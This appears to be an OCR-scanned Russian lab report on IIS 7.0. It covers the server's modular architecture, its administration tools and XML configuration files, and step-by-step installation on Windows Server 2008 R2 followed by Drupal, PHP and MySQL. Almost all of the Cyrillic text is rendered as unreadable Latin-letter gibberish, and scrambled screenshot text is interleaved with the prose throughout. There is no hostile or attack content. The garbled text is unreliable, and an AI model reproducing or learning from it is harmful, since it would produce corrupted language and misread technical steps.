IyTeM HACTPOMKH

KoMmoHeHThI, ycTaHaBIMBaeMble U BBINOJHSEMbIE Ha BeO-cepBepe, MOXKHO
BbiOuparh. CayxObr 1S 7.0 Brmouwator Gonmee 40 oTaenbHBIX (YHKIIMOHATBHBIX
Moxayinen. Kaxapii n3 HUX MOKHO YCTaHOBUTBH HA CEPBEPE HE3ABUCUMO OT IPYTUX IS
YMEHBUIEHUSI YHUCJIa BO3MOJKHBIX HAIIPABICHUI aTakd Ha CEpBEp U COKpALICHUS

Harpy3ky Ha aJIMUHUCTpaTOpa.
Pa3BepTbiBaHUe NPUJIOKEHUI € OMOIIBI0 KOMaHAbI XCOPY

Cnyx651 11S 7.0 mo3BosisitoT XpaHuTh napameTpsl koHpurypauuu 1S B ¢aiinax
web.config, uyTo 3HauMTENBHO OOJEr4acT WCIOIb30BAHHE KOMAHJBI XCOPY JUis
KOTMMUPOBAHUS TIPUJIIOKECHUNA MEXIy HHTepGEHCHBIMU BeO-cepBEpaMu, TTO3BOJISS

00X0AUThCS 0€3 JOPOTOCTOSIIUX U TOJIBEP’KEHHBIX OIIMOKAM MPOUEAYp PerIuKaIuu
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1 n30erarpb mpo0seM, BOSHUKAIOIIUX MPU CUHXPOHU3AIUN BPYUHYIO.

YnpagiieHne NpUJI0KEHUSIMH U PadoTOCNOCOOHOCTHIO 11 cyx0 WCF

Jlns moBbienus 3¢@exTuBHOCTH pa3paboTku u pasmemnieHus ciayxo WCF c
UCIIOJIb30BAHKEM Pa3InuHbIX mpoTokosioB B Windows Server 2008 BkiroueHa ciyx0a
aktuBarun ~ Windows  (WAS), noagep)kuBaroiias  MOIYJIbHYIO  aKTHBAIIHIO
MIPOU3BOJIBHBIX NpOCTymuBareseii mporokono. Ciayx6a WAS mpegocTaBisieT 10CTyI
K Pa3JIMYHBIM MPUIIOKEHUSAM, aKTUBUPYEMBIM COOOIICHUSIMHU, C WHTEIICKTYaIbHbIM
yIOpaBJIeHUEM peCcypcaMu, aKTHUBallMed MPOIIECCOB IO 3ampocy, HAOMIOACHHEM 3a
paboTOCIOCOOHOCTBIO, a TaKKe aBTOMAaTHYECKUM OOHapyxeHueM cO0oeB U

nepe3anyckoM nporieccoB. Ciysxk6a WAS ocHoBaHa Ha Mojielid 00pabOTKH 3arpoCcoB

11S 6.0.

YcoBepuieHCTBOBaHHBIE CPEACTBA A AMMHUCTPHPOBAHHUS

B 1S 7.0 peanuzoBaH HOBBIN MOMB30BATEILCKUN HHTEP(]EIIC, OpUEHTUPOBAHHBIN
HAa BBIIOJIHEHWE 3aJad, H HOBOE CPEACTBO KOMAaHIHOM  CTPOKH  JJif
aJIMMHHUCTPUPOBAHUS BEO-CEpBEPOB, BeO-Y3JI0B U BEO-IpUIIOKEHHUN. JlOTTOTHUTENIbHBIE

CBEIICHUA CM. HWXKeE, B noapaszaene "CpencrBa aiMUHUCTPUPOBAHUS" pa3zaena.

ApxXuTeKTypa

B ocHoBe wucnonp3oBalicsi MOAYJAbHBIM Ou3aiiH. MOAYIbHBIA — OU3aiiH
oOecrnieunBaeT Oojbine THOKOocTH W Oe3omacHoctd ans 11S 7.0, mo cpaBHeHuio ¢

npeasymumMu Bepceusimu 11S.
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Application Healthand FTP Server modules
Security Development Diagnostics
modules Modules modules
Performance
modules

Common HTTP Web Server Components

Management

modules
Windows Process Activation Service

Puc. 1. O0630p ocHOBHBIX MOyel u komnoHeHToB 1S 7.0

OCHOBHOE TIPEUMYIIECTBO HOBOTO MOAYJIBHOTO IM3aifHa 3aKII0YaeTCs B TOM,
YTO OH IOMOTAaeT CHU3UTH ONOPHYIO MOBEPXHOCTh, YTO OOECIIEYMBACT OOJBIIYIO
6e3omacHOCTh TIATGOPMBI i BeO-cepBepa, T.K. B STOM Cllydae MHUHHUMH3UPYETCS

IMOBCPXHOCTH JIA aTak.

IS 7.0 cHaGxeH HOBBIM COOCTBEHHBIM KOpHEBBIM APIl, KOTOpbHIH 3amMeHWUI
¢weTp ISAPI filter, ucrmons3yemsriii B npeasinynmx Bepcusx |1S. bnaronapst HoBomy
API| nosiBriIach BO3MOXKHOCTD 7151 paciupenust |1S ¢ momoiibio HOBBIX MOIYIEH, Hin

Jake 3aMEHBI JIFOOBIX BCTPOSHHBIX MOAYJIEH COOCTBEHHBIMH MOTYJISIMH.
AJIMHUHHUCTPUPOBAHHE
CymiecTByeT HECKOJIBKO crtoco00B it amMuauctpupoBanus 1S 7.0.

[ ['padpuuecknii natepdeiic GUI ¢ momomrsio menemkepa 1S Manager

[ HNuctpymenTt komangHou ctpoku APPCMD

N VYnanennoe anmuaucTpuposanue (Remote administration) ¢ momorsio
1S Manager

[] Hanucanwue crienapues ¢ nomoribio Windows PowerShell

[] Nutepdeiic Microsoft. Web. Administration API interface

['paduueckuii maTepdeiic s ynpasnenus GUI Management 6but Takke U3MEHEH,
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HOBbIN MeHekep |1S Manager reneps 60s1ee OpUEHTUPOBAH Ha BHITIOJIHEHHUE 3a]1a4.

Interaet laformation Services (II5) Manager 18] x|
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Q Default Web Site Home
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Puc. 2. Oxno menemxkepa 11S Manager

Menemxep |1S Manager moxxHO HCTIOIB30BaTh JJI HACTPOIKU mapameTpoB IS u
ASP.NET, xondurypanronnsie mapaMeTpbl 3allMChIBAIOTCA B KOH(HUTYypaloHHbBIC
daiter B popmare xml. MupopMalyst 0 COCTOSSHUN M AMArHOCTHKA TEHepPhb JTOCTYITHA

Hanpsamyto u3 Menemxkepa 1S Manager, u teneps siBisiercst yactoio 1S 7.0.

APPCMD - 510 HOBBIH HWHCTpyMEHT oOmiero HazHaueHus misa IS 7.0,
paboraromuii U3~ KOMaHJHOM  CTPOKHM,  KOTOPBIA  HUCIHONB3yeTCs  JJis
aamuaucTpupoBanus U Hactporiku |IS. APPCMD — 310 HOBas ymydiieHHas: BEpPCHsI

craporo moay.s adsutil.vbs.

Vnanennoe aaMuuuctpupoBanne (Remote Administration) Obuto  Takxke
YAyYIIEHO, M Temepb IMOSBHUIACh BO3MOXHOCTh HCIIOJIb30BaHHe MeHemkepa 1S

Manager, npu 6e3omacaom B3aumoaciicTeuu 1mo https ¢ Be6-cepsepom.

CymiecTByeT Takke BO3MOXHOCTh HAlMCaHUs CIIeHapueB i ynpasienus 1S,
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Ot0 genaercs ¢ momomsio Windows PowerShell, kotopslii sBIsieTCst HOBBIM SI3BIKOM
IJIsl HalMCcaHMsl ClieHapueB oT kommanuu Microsoft. Dto mpocrtoii U 3ppeKTUBHBIN
cnocob anst agmuHucTpupoBanus |IS Ha Bamem BeG-cepBepe, KOTOpoe 0COOEHHO
MOJIC3HO, €CJIM BBl YIPABJISICTE HECKOJILKAMH BeO-cepBepaMu MM OONBIIMMHU BEO
depmamu. Windows PowerShell moxxer nanpsiMyio UCHoIb30BaThes I HHTEpdeiica

WMI IS nnm ncnonp30BaThes JUTisl YTSHUST WITH 3aTMCH B KOHPUTYpAITMOHHBIE (Paiiiibl

1S 7.0 XML.

1S 7.0 obmagaeT 0OpaTHOW COBMECTUMOCThIO ¢ MeTabaszoi 11S 6.0 metabase u
ADSI, a Taxe unTepdeiicom s Hanucanus crenapue WMI scripting interface,
n3BeCTHBIN ¢ BepcuH |1S 6.0, 9To 03HaYaeT, 9TO BCE BalllK CIICHAPUH, HATMCAHHBIC JIJIS

Bepcui IS 6.0 OymyT pabotars u 1151 Bepcun 1S 7.0.

Microsoft.Web.Administration APl — »to wunTepdeiic mIs pa3pabOTYHKOB,
KOTOPBIE XOTAT IIHCAaTh CBOM COOCTBEHHBIC MPOrPaMMBbl MM CIEHAPUU IS

ynpasnenus 11S 7.0.

B IIS 7.0 cymectByeT BO3MOXHOCTH Tepenadn ymnpasienus Haj |IS u BeO-
caiitaMu. Bbl MoxeTe nepenarb MOJHBIM aAMUHUCTPATUBHBIN JOCTYI BIIAJIENIbIIaM
BeO-caiita. Bmanmenpupl BeO-caiiTa MOTYT KOHTPOJMPOBATH M YINPABIATH BCEMU
HacTpoiikamMu BeO-caiiTa ¢ momompio Menemxepa IS Manager, npu »stom
0€30MacHOCTh cepBepa He Oyner cTpaaarb. Bce HACTpOWKH, KOTOPBHIE MEHSIOT
BJIQJICIIBIIBI CAalTOB, 3aMKChIBatOTCs B (haiin B popmare Xml mox Hazsanuem web.config

Ha uX BeO caiire.
Kondurypauus

Kondurypanuss 3HaYMTENBHO YyOpPOCTUJIACh, M TENEepb OHA OCHOBAaHA Ha
pacnpeneneHabix XML ¢aiinax, koropbie coaepkar KOHPUTYpalMOHHbIE TapaMeTpPbl

i Bcero 1S u ASP.NET.
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Konduryparmonssie mapaMeTpsl MOTYT ObITh HACTPOEHBI TIIOOATBHO IS BCETO
BeO-cepBepa WIM JJIA ONpeJieNIeHHBIX BeO-caiiToB, ¢ nmomorisio XML ¢aitnos, uim ¢
noMomeio Tpaduueckoro uHTepdeiica ynpasienus (GUI Management interface).
['padpuueckuii uaTEpdEiic UMb 3aMTUChIBAET KOHPUTYPAILIMOHHBIE TTApaMETPHI B TO T€

xe cambie XML daitnel. OcHoBHBIE KOHpUTyparmonnsie ¢aitnel xml B IIS 7.0 ato:

Applicationhost.config
Global web.config
Machine.config

Site web.config

O O O O o

App web.config

bnarogapsi ucnonb3oBaHUIO KOH(QUTYpalMOHHBIX (aiiioB B ¢dopmare Xml,
YCTaHOBKA U MacIITaOMPOBAHMUE B OOJBIINX CPEAAaX 3HAYUTEILHO ONTUMHU3UPOBAJIACh.
Teneps AOCTaTOYHO MPOCTO CKOMHPOBaTh KoH(uryparuio |l1S Ha HOBBIN cepBep H

IMPOCTO 3aIlyCTUTD €TO.

BoinonHenue pemiukanuu KOHQUrypauuu BeO-cepBepa TakKe 3HAYUTENbHO
ynpoctunock anst IS 7.0 mo cpaBuenuto c¢ IS 6.0, Gmarogaps MCHOIB30BAHHIO
KOH(pUTYpannoHHbIX (aiimoB B Qopmare Xml. braarogapss 3ToMy OYeHb MPOCTO

CKOMMPOBATh U YCTAHOBUTH KOH(QUTYpALIMIO B KPYITHBIX cpeaax.

Oomras koudurypanus (Shared Configuration) — sto HoBas Bo3MokHOCTH B 1S
7.0, xotopas Oblia paspabortana s BeO depm (web farm). C momomsio oOmieit
koH(purypanuu (Shared Configuration) Temepsr mOsSBUIACE BO3MOXKHOCTH IS
HECKOJIbKUX  B€0-CEpPBEpPOB  HCIOJB30BaTh  OJWH  KOH(MUIypallMOHHBIN  (aiin
(applicationhost.config). I'maBubiii aitn pasmemaercs mo obmemy nyta UNC,
BosmoxHOCTh Hcmonb3oBanus obieit koHduryparuu (Shared Configuration) — sto

BEJIMKOJICITHAS alIbTePHATHBA MIEPCTIICKTUBE KOMMpoBaHus HacTpoek |1S.

daiin B dopmare xml mnox nHazsammem Applicationhost.config smisercs
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OCHOBHBIM KOH(puUrypanuoHubiM ¢aitiom 1S 7.0, 3ToT KOHPUrypauMOHHBIN (aiin
COZIEPKUT BCIO MH(POPMALIMIO O CcalfTaX, BUPTYAJIbHBIX TUPEKTOPHSX, MPHIOKCHUSX,

nynax NpUIOKEHHUH U I00abHBIX HACTPOIKax i BeO-cepBepa.

Perunukanus cogep>XKuMoro MOKeT OBITh JIETKO BBITIOJHEHA C TTOMOIIBIO KOMaH/IbI
X-COpPY wii roboCOpY, TOYHO TaKke Kak M 0coOble HACTPOWKH BeO-caiiTa, KOTOpHIC

xpaHsTcs B ¢aiiine web.config B gpopmare Xml BHyTpH caiiTa.

bnaromapst m3menenuto gusaiina 1S, xommanust Microsoft cpemana 11S 7.0
Jy4dITUM BeO-CepBEpOM ISl BCEX, HAYMHAS CO CHCIHAIMCTOB 0 WH(OPMAIIMOHHBIM
texHojorusiM IT u paszpadorurkoB 1o Web Hosters. 1S 7.0 sBisercss oueHb MOLTHBIM

IPOAYKTOM:
[ [IponykT cran 6osee 6e30nacHbIM — MOKHO YCTaHABIIMBATH TOJIBKO

OvHapHbIe (aiibl

[] OH pacuupsieM U ruOOK OJ1arojapsi UCMOIb30BaHUIO0 HOBOM MOIYJIHHOM
aApXUTEKTYPhI
[ On ctan Oosiee MacITaOMpyeMbIM Oarojapsi YIpoIeHu0 HaCTPONUKH, IS

KOTOPOH Terepb UCIOIB3YIOTCS (aitbl B hopmare Xml

[ ViydieHue npou3BOAUTEIILHOCTH Onmaromaps ynyumeHusM B sape |S (http.sys)
3. IlopsAOK BHINOJHEHUSI Pad0ThI

YcranoBka u Hactpoiika IS ma Windows Server 2008 R2, a Tak ke

YCTAaHOBKA Pa3JIMYHBIX CMS (HAa KOHKPeTHOM npumepe - drupal)

1) Bxmouaem ponw IIS. Jlns sToro 3axomum B IMyCK - aJIMUHUCTPUPOBAHUE -
JUCHETYep cepBepa - BKIaaka poiu. Kiukaem - 1o0aBUTh pojid U B POJISIX OTMEYAEM

BeO-cepBep 11S /111 YyCTAaHOBKH.
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T AucneTuep cepeep:
= & Pomm

-4 DMNS-cepeep
'ﬁ JomMeHHblE ©
DainossIe ¢

-
& KoMnoHeHTsI
I [WarHoCTHKE
33"_!; Kondurypawa
=2 ¥paHnnnwe

lacTep nobasnenmn poneit

Bobibop poneii cepsepa

Mepen Ha4anom paboTsl

Bef-cepsep (1I5)
CryBel poneit

MoaTseprasHe

XOA BBINOMHEHWUA

PesynsTatel

BiifiepiTe 0AHY UM HECKONBKO poneil ANA YCTaHOBKM Ha CEPBEP.

Ponu:

’: DHCP-cepeep

[] cepsep npunasenmii
|: CryxBel Active Directory ofnerdeHHoro 4ocTyna K KaTanoram
[ cnyfe Windows Server Update Services
[] cryxfie neuat u aokymeHTos
[] cryxfie nonuThki ceTh  AocTyna
[ cnymfe paseepTeisanna Windows
[] Cryfiel cepTudmkam Active Directory
[] Cryber yaanentsix paboqmx cronos
’: Cry#Bkl yrpasneHa npasami Active Directary
[] Crysfiel deaepawm Active Directory
Bkl o

[] daxc-cepsep

LononHuTensHele CBEAEHUA O DONAX CEPEEDa

Onncanme:

Beb-cepeep (II5) NnpeaocTaBnAeT
HaEXHYI0, YNPaBMREMYIO W
MacwTadupy ey MebpacTpyKTYpY
Bef-NpUNoXEHKA.

(&[]

ponam

=l

< Hasan | Hanee = I b | OTneHa |
o 12:31
J e e

BriOupaem city:x0bl poJieid, KOTopble TOTPEOYIOTCA B TaJIbHENUIIEM UCITIOJIb30BAHUU

E,_ Oucnetuep cepee|

daiin  [feiicteue B

e 2o E

T AucneTuep cepeep:
= & Pomm

%. DMS-cepeep
'ﬁ JomMeHHbIE ¢
DainossIe ¢

& KoMnoHeHTHI
I [WarHoCTHKE
33"_!; Kondurypawa
=2 ¥paHnnnwe

lacTep nobasnenun poneil

Mepen Ha4anom paboTsl

Ponu cepeepa

Bef-cepsep (1I5)

MoaTsepmasHKe
%04 BbINOAHEHUA

PesynsTatel

Bobibop cnymb poneii

BeibepuTe cny#ikl ponei, ycTaHaBNMBaEMEIE ANs ponu cepeepa Beb-cepeep (115)™

CryaObl ponm:

£ & Bef-cepsep -
= E QcHoBHbIE Bo3MoHHOCTH HT TR
[V] Crariqeckoe coneprimos
[/] CranaapTHeit aokymeHT
[¥] Ofizop kaTanoros
[¥] Cumbin HTTP
IE MepeHanpasneHue HTTP
[¥] Beb-nyGmucauna DAY
B [¥] PazpaBioTka npunoweniii
[¥] asp.MET
PacwwmpasmocTe JMNET
[V] asp
CGlI
Pacwmperna ISAPT
[¥] @unsTpel 1SAPT
BrAloYeHUA Ha cTopoHe cepsepa (S51)
= [E PafioTomocofHOCTE W AMArHOCTHKE
’Zi Beaerwe xypHana HTTP
[ cpencrea sensria sypHanos
[V] MoH1ToD 3anpocos

<=

EIE

==

i

4] |

JononHuTensHele cBeaeHUa o cnyxwbax ponel

Onmcanme:

Beaywnii Gasoebiii Beb-sksemnnap 115
NOZBONAET COZA3BATE
NONb30BATENBCKHMA KoM, COASpMalmi
Gazoey0 yHKUMOHANEHO CTh 11S |
PasMELLIWKACA B NPUADXEHAN
nonssoeatend. Begywwi asostii
Bef-3K3eMnNNAp NoseonAET
npunoxexmo obpadateieats HTTP-
3anpochl M HCMONLS0BATL CBOM
cofcTeerHbIH daiin Kordurypaum
applicationHaost.config u kopHesoi
dain web.config. Pacwnperme
eenywero Sazoeoro seb-sKseMnnApa
ANR NPUNDXERUE CONEPXUTEA B
daine hwebcore.dll.

T

ponam

=l

< Hasan | Hanee = I ¥ | OTneHa |
o 12:32
J e e
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3areM BBIBOASTCS pe3ysbTaThl 00 YCTAaHOBKE

E;-; ANENETHEp 6EPBE| MacTep nobasnennn poneil

Daiin  feiicteue B

|2

T AVcreTuep cepeep:
=] f} Pori

% DNS-cepeep

Gi Beficepeep  Ponw cepeepa

= domeHHsie ¢

ﬁ DaiNossIe ¢ -
&l KommomerTs! CryB! porei
i [AMarHocTikE MoaTsepHaeHe
33"_!; Kondurypawia
22 ¥paruniwe

Mepen Hayanom pabioTel

Bef-cepeep (II5)

X0p BoINOAHEHWA

| E ' Pe3ynbTaThl yCTAHOBKM

VMelwHo YCTaHOBNEHE! CNEAYIOWME POk, cnyxbiel PONSil U KOMNOHEHTEI:

1 npepynpexaatoulee cooBLIEHME BHUSY

B ETES|

pE.

ABTOMaTHMYECKoe 0BHOBNEHMe Windows oTkMOYeHo. Yokl oBeeqduTe aBTOMaTHYECKOE

0BHOBNEHUE TONMBKO UTO YCTAHOBNEHHOI PO MMM KOMMOHEHTE, BroWwTe "LieHTp obHoBneHua ponaM

Windows™ 5 naHenu ynpasneHMa.

~| Beb-cepaep (I1IS) 'ZQ' YT p Y
YeTaHoBNEHEl CneayrowmMe cny#Oesl ponei:
Beb-cepaep

OCHOBHBIE BOSMOKHOCTI HTTP
CTATU4ECKOE CONSMRMMOE
CTaHAaPTHEI AOKYMEHT
(Of30p KaTanoros
Oumbicn HTTP
MepeHanpaeneHue HTTP
Bef-nyfnakalma DAV

PazpaboTka nprnoseHii
ASP.NET
PacwvpAemocTs JMET
ASP
CGL

[eYaTh, OTNPABKE NO BJ'IEK.TmHHOﬁ MOYTE WK COXDAHEHWE OTYETE 06 yCTaHoBKE

=

< Hazan Hanee > | SaKpEITE DTneHs |

Ha »Tom »Tame YCTaHOBKA 3aKaHYMBACTCA.

2) Hacrpoiika IIS cepsepa

Jnu

12:37
2 "TD %Tl (b 10.12.2010 =

Wnem 1o azgpecy myck - afMHUHHUCTPUPOBAHKE - qucrerdep ciayx0 iiS. JKmMeM KHOMKy

Hayajo, TEM CaMbIM 3allyCKaeM CEpBeEp.

'?E Oucneruep cnyxb IS

@,_, [€5» srv »

| &3

Daiin Pexm Cnpaska

@ - Gél HayansHas cTpaHuua SRV —
3 i | | & ’ Ynpasnenne cepsepom
HadanbHas cTpanmua ) o = TMepesanycTuTe
=€ SRV\Administrator) St = =P & B =
L=} Nynol npunoxeHmin ASP.NET = . O :
=[] cantbt - ICTaHOBUTE
&P Default Web Site 0 ;’9‘ = (‘a H E% g 5 TIPOCMOTPETE Ny bl NIPUACKEHMIT
X~ — oed -
- MpocMoTpeT! ATHI
Fnobanusaws Kntoy MawmHbl Komnunswss  MapameTpel  MocTaswmkm Mpasuna CocTosHue PO PETE CNT
NET NET NPUNOXEHUS asTopusal... ceaHca WsMeruTb sepano JNET
Framework
i A | s ,‘ ‘ & o @ crpas<a
404 | ab) EN 1=
CTpanHiubl 1 CTpaHuus! CTpoku YposHi SnexTpoHHas Cpomars Mareph s
snemeHT... owwmbok .NET noawmouerns aosepusi .NET nouta (SMTP)
FTP
= : - 0 @
" x = W
e HGo e
BeneHune Wsonaws 063s0p OrpaHudennss  MapameTpel  Moaaepxka Mpasuna
®ypHana FTP nonbsosaTte... FTP-kaTtanora IPv4-agpec... SSL FTP BpanaMays... asToOpM3al...
. OrpaHn4MTb MM NPEAOCTaBUTL AOCTYN K FTP-coaepxumomy rno aapecy IPv4 unm
ne. WMeHn aoMeHa
a =
B G
Mansanca  FAsfiiewsn  Misnsrosoes =l ‘
[ =i NpocMoTp BosMoxHocTes |/ = MpocMoTp coaepxumoro
roTosHOCTE =

£ inyex

Jnu\

“

13:16
A2 Wt 4515 5010 B
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mis tecra uaem Ha localhost. (B Opaysepe BBogum cTpoky http://localhost/)

Ecan IMPUBCTCTBUC OTO6p331/IJ'IOCB, 3HA4YUT BCC HGIZCTBHH BBIIIOJIHCHBI BEPHO U MOKHO

MPOJOIKATh PadoTy.

N 1157 - Opera _ =21 ]
(e - (B 4
€+ 0 | # F momwmm v] (S =]5erch witr Googi &

o'KaN 0N
| Velkommen VELKOMEN
Benvenuto byl
Welkom

internet information services Wltamy

Valkommen

: _)“
Hos Geldiniz BAELICH

D o $-8-~ @, view (100%) ~

e I = | T ) J 1

P #h g, 13212?:10 =
Jlanee BO3MOXHBI JIBa BapUaHTa Pa3BUTHSI COOBITHIA:

1) Pyunas yctaHoBka Bcex ameMeHTOB |IS u pydHast ycTraHOBKa BCeX 2JIEMEHTOB CMS.
OTOT BapuaHT HE pallMOHAJIbHBINA, BEAb HAM HY)XHO BCE CJIE€JIaTh KAYECTBEHHO, HO B

MAaKCHUMAJIbHO CKAaTBIC CPOKH.

2) MbI MOXeM BOCIOJIb30BaThCsl ABTOMATUYECKOM yCTaHOBKOM Bcex 3neMeHToB. Kak

I1S, Tak u cms. Ho Bce e paccMoTpuM 00a MeToa.
PyuHasi ycTaHOBKA BCeX 2J1€MEHTOB.
ToroBum drupal i ycraHOBKH. KadyaeM apXWB C O(MHUIIMAIBLHOTO CcaiTa.

PacnaxoseiBaeM. Co3maem B mamke 1iS KaTajgor ¢ Ha3BaHHEM BAIllErO CalTa, TO €CTh
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http://localhost/

nyTh Oyaer BeIDILmeTh Tak: C:\inetpub\wwwroot u mepeHocum Bce aupexkTopuu U3

pacmakoBaHHOTO apxuBa B nanky C:\inetpub\wwwroot\drupal

I wwwroot = B
L =¥ o) | M2 l 9 o
G\‘ )v ~ Komnbtotep - MokansHbii amck (C:) - inetpub - wwwroot - - l‘al I Momck: wwwroot w
Dain  PeruM 2 5 B
_ ¥nopAgouMTe ¥ o OTKpeiTe  [oBasuTb B BubnmoTteky v OBWMIA QocTYN ¥ 3anMCaTb Ha ONTHHECKMA Anck » == o« O @ _
&‘v l b l&' 't WsBparroe Wma = [lara usmeHeHna | Tun | Pasmep | |
--@j HavaneHan 1 £ 3arpystn . aspnet_dient 26.11.2010 19:47 Manka ¢ dainamm aTh PasPELIEHNS. ..
=-93 5'_‘;" (SRVadm L HenasHie mecTa B drupal 10.12.2010 13:22 Marka c daiinamn = ”
o= Myl mpi Bl Paboumit cron i
I . u -
B caliel |® | iisstart.htm 10.12.2010 12:34 DaiAn "HTM 1KE =
B- Defau . wel J 10,12.2010 12:34 P PNG 181KE
g + =3 buSnmoTeRn R welcome.png UCYHOK, (http)
.. _ Eﬁ Buaeo
|5 JowymeHTs! HTepHeTE
| Msobpaskerina
J Myskika
1M KomneroTep
£, NoransHsii auck (C:)
iy Obmen (E:)
w users (F1)
W Byxrantepus (G:)
e&l Ceto
drupal Nata wamererma: 10,12,2010 13:22
e Manka ¢ hainama -
ToTOBHOCTE L=

Ycranosum php u mysql:

. 13:22
2 [FD % [[b 10.12.2010 =

3axomum Ha cait http://dev.mysql.com/downloads/mysql/ u kadaem Hy>XHBIH IS
HaIlero cepsepa apxuB. B Hamem ciaydae s windows server 2008 r2 x64.
3amyckaeM HHCTAJUIATOP W CJEayeM ero aeucTBusM. YctanoBka php. is storo

KadaeM HMHCTAUIATOp 1o aapecy http://windows.php.net/download/ u npowusBogum

YCTaHOBKY.

[Tocite atoro Mel uaem 1o aapecyB Opaysepe: http://localhost/drupal u BumnmM,

YTO HAC NEPEKUHYJIO HA SKPaH YCTaHOBKUA CMS!
ABTOMATHYECKAsl YCTAHOBKA (PEKOMEHyeMblid)

JIns  BBINOJHEHWS OSTOM YCTAaHOBKM 3aXOIWM B JHUCIETYEp CAyKO 1IS u

YCTaHABJIMBAEM yCTAHOBIIMK BEO-TUIaTHOPM.
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Ycranosumk seb-nnardopms 3.0 AaE =10lx]

[MoaoxawuTe, BbINOAHAETCA YCTaHOBKa NpOAYKTOB.

TpebyeTca HaWTW NOCTABLLMKE yCayr
pazmeleHns eeb-canToe?

Konnexkuuna Web Hosting Gallery B
VIHTepHeTe NOMOXeT HakTh
NOAXOAALLEro MOCTABLLMKE C

NOAXOAALLEN TEXHONOTMEN U C

www.microsoft.com/web/hosting

Xop sarpysku: Cpeacteo se6-passepToisanmna 1.1 86 Kb/cex

Xoa ycTaHoBku: ycTaHoBka Ynpasnatowme obvektol SQL Server 2008 R2 [3 us 6]

OTtmeHa | ‘:‘

TTCT ORI [ JCTSHUBNTE | =127 007, Su— I

2~ TCTaTaETESemee SITerERTer

¥ WordPress 4

WordPress is a state-of-the-art publshing platform with a focus on sesthetics, web
randarde amd coakili

Bribupaem 3aknaaxy BeO-miatdopma.

e AncneTuep omydxG IS

6@‘3 [Qﬂ > RTS-401-5-04 »

Parn Fexair Cnpasxa

@ - | | & a‘gg HauvaneHasa cTpaHuua RTS-401-S-04

5 Hawanohas crpaniua

qs RTS—401-5-04 (RTS\IS) PN TPbLI: = g Neperitn ~ % MokasaTte BCe | CrpynmposaTte No; = |
o My N1 Nprnose i SBTOPM3aLL. .. MOAAMHHOC. .. FP sanpocos FTF - I
S| cariTo
33| Server Farms s
2 — = @ =L
ASP CGIL BeaeHme AoKyMedT No SaronosKkm KawmpoBsaHe
HypHana YMOMASHMED oTseTos HT TP SbiBoaMMBl. ..
" P - ) ~ .
L =i = = lg< ..gg!) ‘
Mooy OrpaHr4eHA MapameTpbl Meperanpa. .. NMpasuna NMposeprka
ISAFI 1 CGI FastCGI MpPoOTOKOMNA. .. paspaboT... MoaNMHHOCTIM
5 i T B = |
i3 = a
m= <% e = <=
MNpocmoTp Faboue CepTrdKaTe! CxaTre Conocrasn... CTpaHHuUsl
KaTanora npousccsl cepsepa oBpaGoTun. .. oGO
=T ===
Jj —= ==
Tune MIME PrUNETPawA PHUNeTPEl
SanpocoB ISAPI

Adenervpos... OBwan PeaaxTop
KOMMAOHEHTE  KoHGMrypa... kKoRdmrypa...

|E MPocMoTP BE0SMOFKHOCTEH |.-

MNpocMoTP coaspRMMoro
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Otmeuaem ainisa yecranoBkH NpoaykToB ASP.NET, NET Framework 3.5, Microsoft. NET

Framework 4, Windows Powershell 2.0, nucnieruep PHP nns 1IS, PHP 5.2.13.

NucneTuep cmyut IS =1of =
@ng [‘ﬁ» RTS-401-5-04 » | &&= 5 | -~
®afin  Pesum  Cripaska
@.- i | | & Gg- YcraHoewuk seS-nnatdopmel
= | . e
W5 HauansHasa cTpaHULE
@j RTS-401-5-04 (RTSWIS) BaxHblFA cadT MpoAayKTel [NpurnosxeHa | 0
Wma BrinylueHo YeTaHosuTE -~
| Bee visual Web Developer Express 2010 c nakeTom ofHosneH...  10.03.2011 AobBasuTe | |
1| Cepeep
Mnardopre: SQL Server Express 2008 R2 17.05.2010 AoBasnTe |
Baza AaHHEIX
Microsoft® SQL Server® Compact 4.0 15.10.2010 AobaBnTe
|l Cpeacrea 4|
- Peromenayemas kordurypawas IS 7 09.11.2010 AoBasnTe |
115 7.5 Express 01.03.2012 AofasnTe |
E‘;l; Cpenacteo sBeb-passepThiBaHia 2.1 11.04.2011 YcTaHoBneHo
Favl Microsoft .MET Framework 4 12.04.2010 YcTaHosneHo
MnaThopra seb-thepHbl 2.2 18.10.2011 YcTaHoEnEH
PHP 5.3.8 {AHrnmicai) 03.02.2012 YaanuTs |
~ =l
hi!- Moayns nepeonpensneHing URL-anpecos 2.0 30.06.2010 foBasuTe |
4 Ycranae € snemenTel Hacrpoiikn ¥CTaHoBMTE I Brixog I
[[= npocroTp sosmesnocTei | - MpocMoTp coaeps#imMoro

MNoToBHOCTE

E. Ancneruep cepaepa

=10]

®aiin  flefictene  Bua  Crpaska

a= 2= -

e e

N [=1|

[‘33 » RT5-401-5-04 »

| & @ -

Pexuam Cnpaeka

G‘g! YcTaHoBWMK BeG-nnaTdopMel

Vcranoska seb-nnatdopmb

*

5 HauansHaa cTpa
€3 RTS-901-5-04 (R

v Mozapaesnaem! ¥YocnewHo ycTaHoBASHEI CASAYIOWWE NPOAYKTLI:
PHP 528

[paiisep Microsoft SQL Server 2.0 gna PHP 53 s IIS

Ancnersep PHP ans TS

Y¥CTaHOBELWK 0BHOBNEHWA CcpeacTe ASP.NET MVC 3

ASP.MET MVC 3 (Visual Studic 2010}

i

o L

Y cTaHoBUTE -

AobaBuTe J
HoBasnTe
HoBasuTe

HAobasnTe

NobasnTe

FEERR

YcraHoeneno

¥YcraHosneno

YcraHosneHo

¥YaanuTe

Fotoso I

HofaenTe | q

4 Ycranae HTbI Hacrpoiikn

¥cTaHoenTe I

bocn |

MpocoTp coaeprumoro

=[| MpocroTp BosMomHoCTER

MNoToBHOCTE
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3axoAMM B YCTAHOBIIUK BeO-MpuiioxkeHui, BeiOupaem apaiisep SQL Server ans PHP

2.0, SQL Server Express 2008 R2, SQL Server 2008 R2 Management Studio Express.

e Nncneruep oy IS

=101 =]
@3\14 [ 5 » rTss01s-04 » | &8 e oy @ -
©aiin  Pexum  Crpaska
T 17 18 gg‘l YcTaHoBLWMK BeS-nnaTdhopMel
&5 HavanbHan cTpaHiua
95 RTS—401-5-04 (RTSVIS) € PezyneTaThl Mowcka 4AA micro [ o
Vima Beimyieno YcranosuTs N |
P Expression Encoder 4 (Anrmaiiciait) 02.11.2011 foBasiTs |
L3 Microsoft WebMatrix 01.11.2011 LoBasuTs |
%
P Ynpasnaowe ofberTel SQL Server 2008 R2 05.09.2011 YcranoBneno
1&?:! IIS Smooth Streaming Client 1.5 (AHCAMEA S 06.09.2011 MoBSasuTb |
